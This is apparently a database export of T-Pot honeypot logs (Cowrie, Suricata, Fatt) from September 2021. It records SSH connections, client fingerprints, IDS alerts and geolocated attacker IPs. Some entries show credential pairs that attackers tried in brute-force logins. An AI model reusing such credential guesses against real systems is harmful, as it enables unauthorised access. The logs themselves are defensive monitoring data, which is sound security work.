"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28110	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:05.640426+03	2021-09-20 14:30:02.399523+03	{"_id": "QgbrAnwBvYTbRNuElyy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45926, "timestamp": "2021-09-20T11:16:05.640426", "@timestamp": "2021-09-20T11:16:05.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28111	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:06.063597+03	2021-09-20 14:30:02.400523+03	{"_id": "QwbrAnwBvYTbRNuElyy1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46900, "timestamp": "2021-09-20T11:16:06.063597", "@timestamp": "2021-09-20T11:16:06.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28112	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:16:06.388855+03	2021-09-20 14:30:02.401524+03	{"_id": "SAbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 87.112.251.105:49334 (192.168.176.2:22) [session: 2024beaab466]", "session": "2024beaab466", "@version": "1", "protocol": "ssh", "src_port": 49334, "dest_port": 22, "timestamp": "2021-09-20T11:16:06.388855Z", "@timestamp": "2021-09-20T11:16:06.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28113	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:06.49467+03	2021-09-20 14:30:02.402523+03	{"_id": "TAbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [ftp_budzynski/czerwona14] failed", "session": "53a9145b852b", "@version": "1", "password": "czerwona14", "username": "ftp_budzynski", "timestamp": "2021-09-20T11:16:06.494670Z", "@timestamp": "2021-09-20T11:16:06.494Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28114	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:06.811188+03	2021-09-20 14:30:02.403523+03	{"_id": "TQbrAnwBvYTbRNuEmCyF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fbae18101d37", "@version": "1", "duration": 2.8976738452911377, "timestamp": "2021-09-20T11:16:06.811188Z", "@timestamp": "2021-09-20T11:16:06.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28115	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:07.273783+03	2021-09-20 14:30:02.405524+03	{"_id": "XAbrAnwBvYTbRNuEmixV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1615826515324371, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40126, "dest_port": 22, "timestamp": "2021-09-20T11:16:07.273783Z", "@timestamp": "2021-09-20T11:16:07.273Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28116	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:13.716096+03	2021-09-20 14:30:02.406524+03	{"_id": "jAbrAnwBvYTbRNuEsyzj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33934 (192.168.176.2:22) [session: 889f2e97b97f]", "session": "889f2e97b97f", "@version": "1", "protocol": "ssh", "src_port": 33934, "dest_port": 22, "timestamp": "2021-09-20T11:16:13.716096Z", "@timestamp": "2021-09-20T11:16:13.716Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28117	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:13.72778+03	2021-09-20 14:30:02.407523+03	{"_id": "iwbrAnwBvYTbRNuEsyzj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "889f2e97b97f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:13.727780Z", "@timestamp": "2021-09-20T11:16:13.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28118	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:16:13.995545+03	2021-09-20 14:30:02.408523+03	{"_id": "kAbrAnwBvYTbRNuEtSyz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:13.438547+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1615504393220371, "payload": "YWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS05Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtOTYtZXRtQG9wZW5zc2guY29tLHVtYWMtNjRAb3BlbnNzaC5jb20sdW1hYy0xMjhAb3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMSxobWFjLW1kNSxobWFjLXNoYTItMjU2LTk2LGhtYWMtc2hhMi01MTItOTYsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LTk2AAABrXVtYWMtNjQtZXRtQG9wZW5zc2guY29tLHVtYWMtMTI4LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LTk2LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTY0QG9wZW5zc2guY29tLHVtYWMtMTI4QG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1tZDUsaG1hYy1zaGEyLTI1Ni05NixobWFjLXNoYTItNTEyLTk2LGhtYWMtc2hhMS05NixobWFjLW1kNS05NgAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAAAAAAAAAAAAAAAB6dwHvwi0=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33934, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:13.995545Z", "@timestamp": "2021-09-20T11:16:13.995Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "ac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....zlib@openssh.com,zlib,none....zlib@openssh.com,zlib,none.............zw...-"}}	1	\N	\N	alert	known attacker	\N
28119	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:13.99471+03	2021-09-20 14:30:02.409523+03	{"_id": "kgbrAnwBvYTbRNuEtiz5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33934, "timestamp": "2021-09-20T11:16:13.994710", "@timestamp": "2021-09-20T11:16:13.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28120	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:14.354194+03	2021-09-20 14:30:02.411523+03	{"_id": "kwbrAnwBvYTbRNuEtyzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "889f2e97b97f", "@version": "1", "timestamp": "2021-09-20T11:16:14.354194Z", "@timestamp": "2021-09-20T11:16:14.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28121	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:15.216852+03	2021-09-20 14:30:02.412524+03	{"_id": "lAbrAnwBvYTbRNuEuyy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [support/letmein] failed", "session": "889f2e97b97f", "@version": "1", "password": "letmein", "username": "support", "timestamp": "2021-09-20T11:16:15.216852Z", "@timestamp": "2021-09-20T11:16:15.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
43959	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:25:20.073422+03	2021-09-20 16:30:03.738746+03	{"_id": "ogZhA3wBvYTbRNuE6J4p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:25:20.073422Z", "@timestamp": "2021-09-20T13:25:20.073Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
28122	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:16.371521+03	2021-09-20 14:30:02.413553+03	{"_id": "lgbrAnwBvYTbRNuEvizK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41704, "timestamp": "2021-09-20T11:16:16.371521", "@timestamp": "2021-09-20T11:16:16.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
